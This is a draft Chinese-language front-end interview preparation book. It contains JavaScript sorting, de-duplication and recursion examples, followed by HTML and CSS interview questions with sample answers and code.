TIP

道可道,非常道。名可名,非常名。

------老子

为天地立心,为生民立命,为往圣继绝学,为万世开太平。

------横渠四句

# 前言

何为前端?简单点说,浏览器呈现出来的页面,给用户看的、操作的就是前端(客户端),前端是最接近用户的那一层。我们所学的在行业中称之为web前端。web前端是大前端的一部分。什么是大前端?网页、移动网页、小程序、甚至ios、安卓APP,都属于前端的范畴。基本所有与用户直接交互的视图层,都称为前端。什么叫做web前端,web前端就是网站上的前台页面,我们主要的交互工具是浏览器。而网站是放在浏览器上运行的。我们的核心技术是html/css/JavaScript三剑客。早期互联网最初的网站连接是单联式连接,每一个用户想访问到其他用户的网页都要物理线路直接连接起来,我们称为web1.0。后来把网站运用到服务器上,客户机与服务器连接,发送浏览请求和返回信息,我们称为web2.0。web1.0是一个只可读的时代,大多都是静态页面,少部分动态的。后来大概在2000年以后,诞生了web2.0的概念,开始注重用户的交互作用。用户既是浏览者,也是缔造者。可读可写共同发展。以至于现在提出的web3.0概念,用户把自己拥有的数据,在各个平台可以共享。早期的浏览器只识别html,后来为了美观,诞生了css。再后来为了给浏览器加脚本功能,诞生了JavaScript,然而JavaScript最初叫LiveScript。为了蹭java的热度而改名为javaScript。在js初期,不仅仅有JavaScript,还有微软的JScript和CEnvi的ScriptEase形成了三足鼎立。当然当时的js脚本语言远远不止这三个。每家浏览器的脚本都不太一样。后来为了统一性,ECMA(欧洲计算机厂家协会)制定了js标准,称之为ECMAScript。

随着web2的出现,也诞生了ajax这一技术,由于动态数据交互需求增多,衍生了jQuery跨时代的js工具库,主要用于DOM操作,数据交互。jQuery的时代是革命性的,从09-16年,在前端技术上,它有着很不错的一个DOM兼容性解决方案。后来涌现了很多JQ库,如:zepto.js,zepto的出现标志着我们进入移动互联网时代。直到近几年,三大主流框架react、vue、angular的成熟,和小程序的诞生。基本结束了jQuery的时代。目前市面上用到的jQuery技术少之又少。所以,在本书中,jQuery技术链我们将一笔带过,不会着重点去讲解。

我是第一次写技术书,依稀记得很小的时候就有一个作家梦,就想写一本自己的书,一本能够出版的书,故此在初中时代跑去写网文小说了,后来也没坚持。这与我本人爱好也息息相关,求学时爱读诗词,所以很多时候,自己就尝试过写诗作词,还被老师批改过。本书可能有很多不足之处,我希望读者在读这本书的时候,不要照抄照搬,技术变革本来就快,此书提到的技术或多或少都有可能对不上技术版本,主要是太卷!尽可能的去借鉴其中的思想,我相信在10年内,前端的底层思想是不会变的,不管是vue4还是react19,也不管web3和微前端的即将到来,他的思想是不会变的,说到web3和微前端,其实不难理解。Web3通俗一点的说就是各个网站之间可以进行数据交互,相当于BAT网站的数据在同一个浏览器上做到数据共享,可以暂时这么理解。而微前端是借鉴了后端微服务的概念,他其实跟技术栈无关,主要就是可以做到独立开发独立部署独立运行,每个模块之间互不依赖,有单独的状态管理,举个简单的例子,我们目前前端项目如果需要改某一个功能的话,就需要整个项目重新打包部署,而后端微服务就不用,改了哪个功能,把这个功能所在的模块单独部上去就行了,你可以暂时这么理解,以上仅是我个人的独立见解。张老师与董老师是我朋友,在此,我们三人将合力撰写这本书,故,我们希望每一位技术爱好者都能够从这里学到经验与知识,拿到更高的offer,无论经验年限长短与否,都应砥砺前行,成为最顶级的技术人才!末,技术之路,任道重远!

江子辰(ZiChen Jiang)

苏州 2021.04

# 简介

本书采用"基础知识→核心思想→算法应用→面试题库→面试礼仪"的结构和"由浅入深,由深入精"的学习模式和思想进行讲解。全书一共5篇,共计48章。相信在读这本书的同僚们,对前端技术栈或多或少都有一个初步的见解及编码能力,所以我们主要围绕js的核心应用实践、流行性框架以及前端的数据结构与算法(如:去重、递归、希尔、归并、堆栈、插入、计数、二叉树、二分查找等)来讲解,当然也包括部分的H5、C3动画的知识。

本书从多角度、多方位的帮助读者快速掌握前端技术,并且最后会附上面试礼仪经典话术,语言是一门艺术,我们希望开发者能在学习技术提升自我的同时,也能学会用更好的语言去交流,能够增加面试官对自己的好感,也能够从HR 的手上拿到心仪的offer!这是我们的初衷。

最后,我们推荐初中级前端从业者和希望精通前端的程序员阅读,当然我们也希望可以作为正在进行软工专业设计的同学以及各大院校和培训机构的参考用书。

# 基础知识篇

# 算法应用篇

在计算机领域,算法问题一直是不可忽视也是最重要的组成部分,而前端圈内圈外一直都有人在调侃前端的算法并不是什么实际的算法,也确实因为前端并不需要大量的去处理数据,而js在算计方面表现的也确实并不优秀。只能说各司其职吧,在其位谋其政,我们主要以用户体验为主。那么我刚才也提到了,前端的运行环境本就不善于去处理大量的数据运算,那既然是这样,我们为什么需要去学习前端的算法?我给出的只有四个字,实现功能,在很多实际业务中,前端并不在乎你写的程序有多快多好,而是更加在乎你的功能实现,我们学习算法的主要目的是为了让你实现那些复杂的功能,为了让你优化代码,一个优秀的程序员不但能够写出代码,其更主要的是有能力去优化它,用最简洁直观的方法去实现它。实际有很多可直接调用的API,例如一个排序算法,sort方法可直接搞定.....好吧,以上纯属瞎扯,我们的主要目的说白了就是为了面试,人人都知道面试造火箭,上班拧螺丝,我曾经面试的时候,面试官总会鸡蛋里面挑骨头,就比如刚才说到的排序,他不让用sort,问你有没有别的实现方法,或者让你实现数组去重,不让你用es6以后的方法。后来轮到我自己面试别人,我理解曾经那位面试官的做法了,我们都知道上班其实就是调用各种各样的API,什么三方库,插件库.....但都不希望别人叫我们API调用工程师。算法实际就是一种简称,其实应该叫做算法设计,不是说你能够默写几个书上或者百度的算法代码就叫会算法了,而是说能够利用里面的知识以及思想去解决一些书本没有的具体问题,实现具体功能,我们学习的是这种能力,而不是死记硬背的知识!不多说了,咱们往下看!

# 冒泡排序

名字由来是因为越小的元素会经由交换慢慢"浮"到数列的顶端(升序或降序排列)

        // 冒泡排序

        let arr = \[9,2,4,6,8,3,7,1,10\];

        function Sort(arr) {

            for (let i = 0; i \< arr.length - 1; i++) {

                for (let j = 0; j \< arr.length - i - 1; j++) {

                    if (arr\[j\] \> arr\[j + 1\]) {

                        //交换位置

                        \[arr\[j\], arr\[j + 1\]\] = \[arr\[j + 1\], arr\[j\]\]

                    }

                }

            }

            return arr;

        }

        Sort(arr);

        console.log(arr); //\[1, 2, 3, 4, 6, 7, 8, 9, 10\]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

# 选择排序

第一次从待排序的数据元素中选出最小(或最大)的一个元素,存放在序列的起始位置,然后再从剩余的未排序元素中寻找到最小(大)元素,然后放到已排序的序列的末尾

        let selectSort = function(arr) {

            var len = arr.length;

            for (let i = 0; i \< len - 1; i++) {

                for (let j = i + 1; j \< len; j++) {

                    if (arr\[j\] \< arr\[i\]) {

                        \[arr\[i\], arr\[j\]\] = \[arr\[j\], arr\[i\]\];

                    }

                }

            }

            return arr

        }

        let arr=\[2,3,5,6,8,1,9,20\]

        console.log(selectSort(arr)); //\[1, 2, 3, 5, 6, 8, 9, 20\]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
  1. # 插入排序

    将元素插入到已经排序好的数组中

        let insertSort = function (arr) {

            for (let i = 1; i \< arr.length; i++) {  //外循环从1开始,默认arr\[0\]是有序段

                for (let j = i; j \> 0; j\--) {  //j = i,将arr\[j\]依次插入有序段中

                    if (arr\[j\] \< arr\[j - 1\]) {

                        \[arr\[j\], arr\[j - 1\]\] = \[arr\[j - 1\], arr\[j\]\];

                    } else {

                        break;

                    }

                }

            }

            return arr;

        }

        let arr = \[2, 3, 5, 6, 8, 1, 9, 20\]

        console.log(insertSort(arr)); //\[1, 2, 3, 5, 6, 8, 9, 20\]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

# 快速排序

对冒泡排序的一种改进,通过一趟排序将待排记录分隔成独立的两部分,其中一部分记录的关键字均比另一部分的关键字小,则可分别对这两部分记录继续进行排序,以达到整个序列有序。

        let quickSort = function (arr) {

            if (arr.length \<= 1) {

                return arr;

            }

            let left = \[\], right = \[\];

            let current = arr.splice(0, 1);

            for (let i = 0; i \< arr.length; i++) {

                if (arr\[i\] \< current) {

                    left.push(arr\[i\]);

                } else {

                    right.push(arr\[i\]);

                }

            }

            return quickSort(left).concat(current, quickSort(right))

        }

        let arr = \[2, 3, 5, 6, 8, 1, 9, 20\]

        console.log(quickSort(arr)); //\[1, 2, 3, 5, 6, 8, 9, 20\]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

# 希尔排序

也称递减增量排序算法,是插入排序的一种更高效的改进版本。插入排序在对几乎已经排好序的数据操作时,效率高,即可以达到线性排序的效率。希尔排序通过将比较的全部元素分为几个区域来提升插入排序的性能,这样可以让一个元素可以一次性地朝最终位置前进一大步。然后算法再取越来越小的步长进行排序,算法的最后一步就是普通的插入排序,但是到了这步,需排序的数据几乎是已排好的了(此时插入排序较快)。

        let shellSort = function (arr) {

            //第一趟循环,确定增量

            for (let gap = parseInt(arr.length / 2); gap \> 0; gap = parseInt(gap / 2)) {

                //第二层循环,找到每个块对应的序列

                for (let i = gap; i \< arr.length; i++) {

                    let j = i;

                    let empty = arr\[j\]

                    //使用插入排序对对应的序列进行排序

                    while (j - gap \>= 0 && empty \< arr\[j - gap\]) {

                        arr\[j\] = arr\[j - gap\];

                        j -= gap;

                    }

                    arr\[j\] = empty;

                }

            }

            return arr

        }

        let arr = \[2, 3, 5, 6, 8, 1, 9, 20\]

        console.log(shellSort(arr));//\[1, 2, 3, 5, 6, 8, 9, 20\]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

# 归并排序

建立在归并操作上的一种有效,稳定的排序算法

        let sort = function (arr) {

            let len = arr.length

            if (len == 1) return arr

            var temp = Math.floor((0 + len) / 2)

            var str1 = arr.slice(0, temp)

            var str2 = arr.slice(temp)

            return merge(sort(str1), sort(str2))

        }

        let merge = function (str1, str2) {

            var str = \[\]

            while (str1.length && str2.length) {

                if (str1\[0\] \> str2\[0\]) {

                    str.push(str2.shift())

                } else {

                    str.push(str1.shift())

                }

            }

            return str.concat(str1).concat(str2)

        }

        let arr = \[2, 3, 5, 6, 8, 1, 9, 20\]

        console.log(sort(arr));//\[1, 2, 3, 5, 6, 8, 9, 20\]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

# 计数排序

计数排序是一种线性排序算法,用于确定范围的整数的线性时间排序算法,不用进行比较。基本思想是对于每个元素x,找出比x小的数的个数,从而确定x在排好序的数组中的位置。

        let countingSort = function (arr) {

            var len = arr.length,

                Result = \[\],

                Count = \[\],

                min = max = arr\[0\];

            /\*查找最大最小值,并将arr数置入Count数组中,统计出现次数\*/

            for (var i = 0; i \< len; i++) {

                Count\[arr\[i\]\] = Count\[arr\[i\]\] ? Count\[arr\[i\]\] + 1 : 1;

                min = min \<= arr\[i\] ? min : arr\[i\];

                max = max \>= arr\[i\] ? max : arr\[i\];

            }

            /\*从最小值-\>最大值,将计数逐项相加\*/

            for (var j = min; j \< max; j++) {

                Count\[j + 1\] = (Count\[j + 1\] \|\| 0) + (Count\[j\] \|\| 0);

            }

            /\*Count中,下标为arr数值,数据为arr数值出现次数;反向填充数据进入Result数据\*/

            for (var k = len - 1; k \>= 0; k\--) {

                /\*Result\[位置\] = arr数据\*/

                Result\[Count\[arr\[k\]\] - 1\] = arr\[k\];

                /\*减少Count数组中保存的计数\*/

                Count\[arr\[k\]\]\--;

                /\*显示Result数组每一步详情\*/

            }

            return Result;

        }

        let arr = \[2, 3, 5, 6, 8, 1, 9, 20\]

        console.log(countingSort(arr));//\[1, 2, 3, 5, 6, 8, 9, 20\]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

# 基数排序

透过键值的部份资讯,将要排序的元素分配至某些"桶"中,藉以达到排序的作用

        let radixSort = function (arr, maxDigit) {

            let counter = \[\], mod = 10, dev = 1;

            for (let i = 0; i \< maxDigit; i++, dev \*= 10, mod \*= 10) {

                for (let j = 0; j \< arr.length; j++) {

                    let bucket = parseInt((arr\[j\] % mod) / dev)

                    if (counter\[bucket\] == null) {

                        counter\[bucket\] = \[\]

                    }

                    counter\[bucket\].push(arr\[j\])

                }

                let pos = 0

                for (let j = 0; j \< counter.length; j++) {

                    let value = null

                    if (counter\[j\] != null) {

                        while ((value = counter\[j\].shift()) != null) {

                            arr\[pos++\] = value

                        }

                    }

                }

            }

            return arr;

        }

        let arr = \[2, 3, 5, 6, 8, 1, 9, 20\]

        console.log(radixSort(arr));//\[1, 2, 3, 5, 6, 8, 9, 20\]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

# 堆排序

堆排序是指利用堆这种数据结构所设计的一种排序算法。堆是一个近似完全二叉树的结构,并同时满足堆积的性质:即子结点的键值或索引总是小于(或者大于)它的父节点。

        // 大顶堆的下沉:

        let sink = function (arr, k, len) {

            while (2 \* k + 1 \< len) {

                let j = 2 \* k + 1

                if (j \< len - 1 && arr\[j\] \< arr\[j + 1\]) j++

                if (arr\[k\] \>= arr\[j\]) break

                \[arr\[k\], arr\[j\]\] = \[arr\[j\], arr\[k\]\]

                k = j

            }

        }

        let heapSort = function (arr) {

            let len = arr.length

            let copy = \[\]

            // 建立一个有序的堆

            for (let i = (len - 1) \>\> 1; i \>= 0; i\--) {

                sink(arr, i, len)

            }

            // 每次将堆顶元素与堆尾元素进行替换,再进行堆顶元素的下沉且堆长度减一,以此可以得到一个有序的数据

            while (len\--) {

                \[arr\[0\], arr\[len\]\] = \[arr\[len\], arr\[0\]\]

                sink(arr, 0, len)

            }

            return arr

        }

        let arr = \[2, 3, 5, 6, 8, 1, 9, 20\]

        console.log(heapSort(arr));//\[1, 2, 3, 5, 6, 8, 9, 20\]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
  1. # 桶排序

  2. # 去重

    原生for去重:

        let arr = \[1, 2, 3, 2, 1, 3, 4, 2, 5\];

        for (i = 0; i \< arr.length; i++) {

            for (j = i + 1; j \< arr.length; j++) {

                if (arr\[i\] == arr\[j\]) {

                    arr.splice(j, 1);

                }

            }

        };

        console.log(arr);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

Set去重:

        let arr = \[1, 2, 3, 2, 1, 3, 4, 2, 5\];

        let newArr=Array.from(new Set(arr))

        console.log(newArr);
1
2
3
4
5

indexOf去重:

        let arr = \[1, 3, 4, 5, 3, 4, 5, 32, 4\];

        let unique = (arr) => {

            let newArr = \[\];//新数组,用来接管不反复的元素

            for (var i = 0; i \< arr.length; i++) {

                if (newArr.indexOf(arr\[i\]) === -1) {

                    newArr.push(arr\[i\]);

                }

            }

            return newArr;

        }

        console.log(unique(arr));
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

Includes去重:

        let arr = \[1, 3, 5, 3, 5\]

        let unique = (arr) => {

            let newArr = \[\];//新数组,用来接管不反复的数组

            for (var i = 0; i \< arr.length; i++) {

                if (!newArr.includes(arr\[i\])) {

                    newArr.push(arr\[i\]);

                }

            }

            return newArr;

        }

        console.log(unique(arr));
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

深度去重:去重对象

以下是需要去重的数组

        let arr = \[{

            age: 22,

            name: \'小王\'

        }, {

            age: 22,

            name: \'小李\'

        }, {

            age: 23,

            name: \'小张\'

        }, {

            age: 26,

            name: \'小赵\'

        }, {

            age: 21,

            name: \'小周\'

        }, {

            age: 22,

            name: \'张三\'

        }\];
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

方法一:可以借助对象访问属性的方法,判断属性是否存在,如果已存在则进行过滤

        let result = \[\];

        let obj = {};

        for (let i = 0; i \< arr.length; i++) {

            if (!obj\[arr\[i\].age\]) {

                result.push(arr\[i\]);

                obj\[arr\[i\].age\] = true;

            }

        }

        console.log(result);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

方法二:可以借助数组中reduce方法,访问遍历数组,其也是借助访问对象属性方法

        let obj = {};

        arr = arr.reduce(function (item, next) {

            obj\[next.age\] ? \'\' : obj\[next.age\] = true && item.push(next);

            return item;

        }, \[\]);

        console.log(arr);
1
2
3
4
5
6
7
8
9
10
11

# 递归算法

一种通过重复将问题分解为同类的子问题而解决问题的方法。

什么意思呢?简单来说就是函数自己调用自己来解决问题,并且一定要用终止条件(如果没有将会陷入死循环)。

假如以下数组是后台给的数据,有些元素有子类children,而有些元素没有,那我们如果需要更改他们的属性名该怎么去做?

现在的需求是需要把数组里面所有元素中的属性名name改为text。

1659193439330{width="5.768055555555556in" height="5.204861111111111in"}

1659193416032{width="4.816666666666666in" height="4.383333333333334in"}

实现代码如下:

        function setText(arr) {

            // 为了方便我这里直接使用forEach方法了,当然也可以用别的方法遍历

            arr.forEach(item => {

                // 直接添加一个text属性

                item.text = item.name

                // 删除原属性name

                delete item.name

                //递归关键一步  判断是否有children 如果有在调用自身函数 把children数组传入进去

                if (item.children) setText(item.children)

            });

            return arr

        }

        console.log(setText(arr));
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

整个递归逻辑已经写完,我们可以用下图跟上图做下对比

1659194244306{width="4.583333333333333in" height="4.375in"}

  1. # 二叉树

  2. # 二分查找

  3. # 链表

  4. # 数列

  5. # 动态规划

  6. # 字符串相关

  7. # 时间处理

  8. # 位运算

  9. # 贪心算法

# 22、背包问题

# 技术面试篇

# 第1章 HTML

# 什么是HTML?

HTML指的是超文本标记语言,而不是一种编程语言。编辑语言是一套标记标签,使用标记标签来描述网页

# 请说出XHTML和HTML的区别

  1. 文档顶部doctype声明不同,xhtml的doctype顶部声明中明确规定了xhtml DTD的写法;

  2. html元素必须正确嵌套,不能乱;

  3. 属性必须是小写的;

  4. 属性值必须加引号;

  5. 标签必须有结束,单标签也应该用  "/" 来结束掉;

    1. # HTML块元素和行元素

块元素: div  p  ul  li  table  h1 h2 h3 ... h6  form 等

行元素:span  a  i  label  img  input  button  textarea select 等

# 很多网站不常用table  iframe这两个元素,原因是什么

因为浏览器页面渲染的时候是从上至下的,而table 和 iframe 这两种元素会改变这样渲染规则,他们是要等待自己元素内的内容加载完才整体渲染。用户体验会很不友好。

# jpg和png格式的图片有什么区别?

jpg是有损压缩格式,png是无损压缩格式。所以,相同的图片,jpg体积会小。比如我们一些官网的banner图,一般都很大,所以适合用jpg类型的图片。但png分8位的和24位的,8位的体积会小很多,但在某些浏览器下8位的png图片会有锯齿。

# H5的新标签

header  nav  footer canvas datalist  article  mark等

# form标签上定义请求类型的是哪个属性?定义请求地址的是哪个属性?

form表单定义请求类型的是  method 属性  , 定义请求地址的是  action属性

cookie可以设置失效时间,但没有自己的存取取的方法,需要时封装,每次请求时跟随请求发送,而localStorage和sessionStorage可以有自己存取的方法例如:setItem(),getItem(),removeItem(),clear() 如:localStorage.setItem('属性',值) {width="5.763888888888889in" height="2.1993055555555556in"}

# 1.9 autio,video

H5提供的音频和视频组件,可以实现视频播放,我以前用它做过音乐播放器,不过好久没用了,里面有play,pause还有获取当前时间和总时间的方法,得看一下audio,video的API,用时我也能很快上手的

# 1.10兼容性相关:

(1) pc端:

一般是IE兼容的问题,例如:利用css hack来解决 \* ,\_,等

JS有特性匹配来解决某个JS方法是否存在

(2) 手机端:主要遇到过移动端300ms延迟和点透问题,可以通过fastclick插件解决

性能优化相关:

答:性能优化是一个很大的一个话题:优化的方面有很多,1是网络加载方面的优化:例如:减少http请求(合并文件,css雪碧图,图片懒加载),减少dom操作(dom缓存),代码封装,第三方库用cdn加载,gzip压缩等

# 1.11 IE8如何支持语义化标签

一个库 html5shiv.js,直接引入就ok,大家可以百度下这个的文件,原理就是把语义化标签在低版本浏览器转化成了块级元素,让浏览器可以解析

# 1.12谷歌浏览器如何显示12px以下的字号

中文版的chrome有个12px字体限制的问题,就是当字体小于12px时候都以12px来显示,这个问题在中文网站中并不突出,因为中文字体为了显示清晰一般都定义为大于或等于12px,但如果是一些英文网站那就不好说了,这时12px的限制就会破坏页面的美感,甚至因为文字变大而导致页面变形。

以前有个属性#chrome10px{ -webkit-text-size-adjust:none; font-size:10px; },但是新版谷歌已经不起作用了.我们可以通过css3的缩放来实现这个问题,比方说我要展示10px的文字,我可以通过设置字体20px,然后scale(0.5);

# 1.13自我成长相关:

平时怎么学习新技术的?

答:上官网看文档,上github上找相关开源项目练手,上技术社区博客园,csdn,51cto,掘金,简书参加技术问题讨论,上知乎,通过专业书籍(例如:高程三,javascript权威指南即犀牛书)系统学习,加入相关技术群参考讨论,

未来的职业规划是什么?

答:2年内先做好技术,小有所成后,其他机会也就慢慢来了

Websocket知识点:

它是一种做及时性聊天的技术,在用的过程中,首先初始化一个websocket实例,当我要发送数据的时候触发onopen方法里面的send方法,携带发送的内容,接收服务器的数据是onmessage方法,关闭本次长链接用onclose方法

这个东西其实和ajax比较像,有具体固定的格式步骤.只不是这种是长链接,ajax技术是短连接,局部刷新

# CSS

# 2.1 CSS 有哪些样式可以给子元素继承

  • 可继承的:font-size,font-weight,line-height,color,cursor等

  • 不可继承的一般是会改变盒子模型的:display,margin、border、padding、height等

# 2.2行内元素有哪些?块级元素有哪些? 空(void)元素有那些?

  • 行内: input,span,a,img以及display:inline的元素

  • 块级: p,div,header,footer,aside,article,ul以及display:block这些

  • void: br,hr

# 2.3 CSS3实现一个扇形

  • 思路跟画实体三角形一个道理,只不过多了一个圆角属性
\<!DOCTYPE html>

\<html lang=\"en\"\>

\<head>

\<meta charset=\"UTF-8\"\>

\<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"\>

\<meta http-equiv=\"X-UA-Compatible\" content=\"ie=edge\"\>

\<title>扇形\</title>

\<style>

.sector {

width: 0;

height: 0;

border-width: 50px;

border-style: solid;

border-color: #f00 transparent transparent;

border-radius: 50px;

}

\</style>

\</head>

\<body>

\<div class=\"sector\"\>\</div>

\</body>

\</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

# 2.4 box-sizing常用的属性有哪些? 分别有啥作用?

box-sizing有两个值:content-box(W3C标准盒模型),border-box(怪异模型),

这个css 主要是改变盒子模型大小的计算形式

可能有人会问padding-box,这个之前只有 Firefox 标准实现了,目前50+的版本已经废除;

用一个栗子来距离,一个div的宽高分别100px,border为5px,padding为5px

\<style>

.test {

box-sizing: content-box;

border: 5px solid #f00;

padding:5px;

width: 100px;

height: 100px;

}

\</style>

\<div class=\"test\"\>\</div>

\<!\--

content-box的计算公式会把宽高的定义指向 content,border和 padding 另外计算,

也就是说 content + padding + border = 120px(盒子实际大小)

而border-box的计算公式是总的大小涵盖这三者, content 会缩小,来让给另外两者

content(80px) + padding(5\*2px) + border(5\*2px) = 100px

\--\>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

# 2.5 清除浮动的方式有哪些?比较好的是哪一种?

常用的一般为三种.clearfix, clear:both,overflow:hidden;

比较好是 .clearfix,伪元素万金油版本...后两者有局限性..等会再扯

.clearfix:after {

visibility: hidden;

display: block;

font-size: 0;

content: \" \";

clear: both;

height: 0;

}

\<!\--

为毛没有 zoom ,\_height 这些\...IE6,7这类需要 csshack 不再我们考虑之内了

.clearfix 还有另外一种写法\...

\--\>

.clearfix:before, .clearfix:after {

content:\"\";

display:table;

}

.clearfix:after{

clear:both;

overflow:hidden;

}

.clearfix{

zoom:1;

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
\<!\--

用display:table 是为了避免外边距margin重叠导致的margin塌陷,

内部元素默认会成为 table-cell 单元格的形式

\--\>
1
2
3
4
5
6
7

clear:both:若是用在同一个容器内相邻元素上,那是贼好的...有时候在容器外就有些问题了, 比如相邻容器的包裹层元素塌陷

overflow:hidden:这种若是用在同个容器内,可以形成 BFC避免浮动造成的元素塌陷

# 2.6 CSS 中transition和animate有何区别? animate 如何停留在最后一帧!

这种问题见仁见智,我的回答大体是这样的..待我捋捋.

transition一般用来做过渡的, 没时间轴的概念, 通过事件触发(一次),没中间状态(只有开始和结束)

而animate则是做动效,有时间轴的概念(帧可控),可以重复触发和有中间状态;

过渡的开销比动效小,前者一般用于交互居多,后者用于活动页居多;

至于如何让animate停留在最后一帧也好办,就它自身参数的一个值就可以了

animation-fill-mode: forwards;

<!--backwards则停留在首帧,both是轮流-->

让我们来举个栗子....自己新建一个 html 跑一下....

\<!DOCTYPE html>

\<html lang=\"en\"\>

\<head>

\<meta charset=\"UTF-8\"\>

\<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"\>

\<meta http-equiv=\"X-UA-Compatible\" content=\"ie=edge\"\>

\<title>Box-sizing\</title>

\<style>

.test {

box-sizing: border-box;

border: 5px solid #f00;

padding: 5px;

width: 100px;

height: 100px;

position:absolute;

/\*
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

简写的姿势排序

\@keyframes name : 动画名

duration 持续时间

timing-function 动画频率

delay 延迟多久开始

iteration-count 循环次数

direction 动画方式,往返还是正向

fill-mode 一般用来处理停留在某一帧

play-state running 开始,paused 暂停 \....

更多的参数去查文档吧..我就不一一列举了

\*/

animation: moveChangeColor ease-in 2.5s 1 forwards running;

}

\@keyframes moveChangeColor {

from {

top:0%;

left:5%;

background-color:#f00

}

to{

top:0%;

left:50%;

background-color:#ced;

}

}

\</style>

\</head>

\<body>

\<div class=\"test\"\>\</div>

\</body>

\</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59

# 2.7 块级元素水平垂直居中的方法

我们要考虑两种情况,定宽高和不定宽高的;

方案 N 多种,我记得我很早写过这类的笔记

# 2.8 说说样式权重的优先级

!important > 行内样式 > id > class > tag

样式权重可以叠加, 比如 id>class

# 2.9 对HTML语义化的理解

简言之:就是不滥用标签(比如 DIV)/随意嵌套(比如 span>div) ,

类的命名要合理, 利于浏览器解析乃至引擎收录,也利于团队协作和维护

# 2.10 css3新增特性有哪些

css3比css2多了好多针对移动端的特性,比如:圆角:border-radius,盒阴影:box-shadow,还有动画:transition(过渡),transform(实现位移,倾斜,旋转,绽放),animation(关键帧动画)等

# 2.11如何实现一个div垂直居中(至少3种方法)

其实实现水平垂直剧中方法有很多:

第一种:定位:

第一种思路:通过给div设置绝对定位,并且left,right,top,bottom设置为0,margin:auto即可以水平垂直居中

第二种思路:通过给div设置绝对定位,left为50%,top为50%,再给div设置距左是自身的一半即:margin-left:自身宽度/2,margin-top:自身高度/2。

第三种思路:通过给div设置绝对定位,left为50%,top为50%,再给div设置跨左和跟上是自身的一半:transform:translate3d(-50%,-50%,0)

第四种:flex布局:

思路:有两个div,父级div和子级div,给父级div设置display:flex,并且设置父级div的水平居中justify-content:center,并且给父级div设置垂直居中align-items:center即可

# 2.12 clearfix是解决什么问题的(另一种问法div塌陷问题如何解决的,或者说一下BFC):

解决的方法有很多,主要目的是让父级元素有高度

方法一:给父级元素设置绝对定位:position:absolute

方法二:给父级元素设置overflow:hidden;

方法三:通过伪对象来实现

.clearfix:after {

content: \" \";

       display: block;

       clear: both;

        height: 0;

}
1
2
3
4
5
6
7
8
9
10
11

# 2.13说一下你对盒模型的理解(包括IE和w3c标准盒模型)

盒模型其实就是浏览器把一个个标签都看一个形象中的盒子,那每个盒子(即标签)都会有内容(width,height),边框(border),以及内容和边框中间的缝隙(即内间距padding),还有盒子与盒子之间的外间距(即margin),用图表示为:

{width="3.7597222222222224in" height="2.8979166666666667in"}

当然盒模型包括两种:IE盒模型和w3c标准盒模型

IE盒模型总宽度即就是width宽度=border+padding+内容宽度

标准盒模型总宽度=border+padding+width

那如何在IE盒模型宽度和标准盒模型总宽度之间切换呢,可以通过box-sizing:border-box或设置成content-box来切换

其中:box-sizing:border-box //IE盒模型

box-sizing:content-box //w3c盒模型

# 2.14 css3动画:

css3动画大致上包括两种:

第一种:过渡动画:主要通过transition来实现,通过设置过渡属性,运动时间,延迟时间和运动速度实现。

第二种:关键帧动画:主要通过animation配合@keyframes实现

transition动画和animation动画的主要区别有两点:

第一点transition动画需要事件来触发,animation不需要

第二点:transition只要开始结束两种状态,而animation可以实现多种状态,并且animation是可以做循环次数甚至是无限运动

# 2.15 rem和em的区别:

rem和em都是相对单位,主要参考的标签不同:

rem是相对于根字号,即相对于<html>标签的font-size实现的,浏览器默认字号是font-size:16px

em:是相对于父元素标签的字号,和百分比%类似,%也是相对于父级的,只不过是%相对于父级宽度的,而em相对于父级字号的

# 2.16手机端如何做适配的:

前端做适配没有最好的方法,只有适合的方法,目前前端主要做适配的方法有:百分比,em,rem,媒体查询(即media query),flex布局(即弹性盒),vw,vh等

目前我在项目中用的多的是rem,flex布局,有时会用到媒体查询,在做pc响应式布局时用

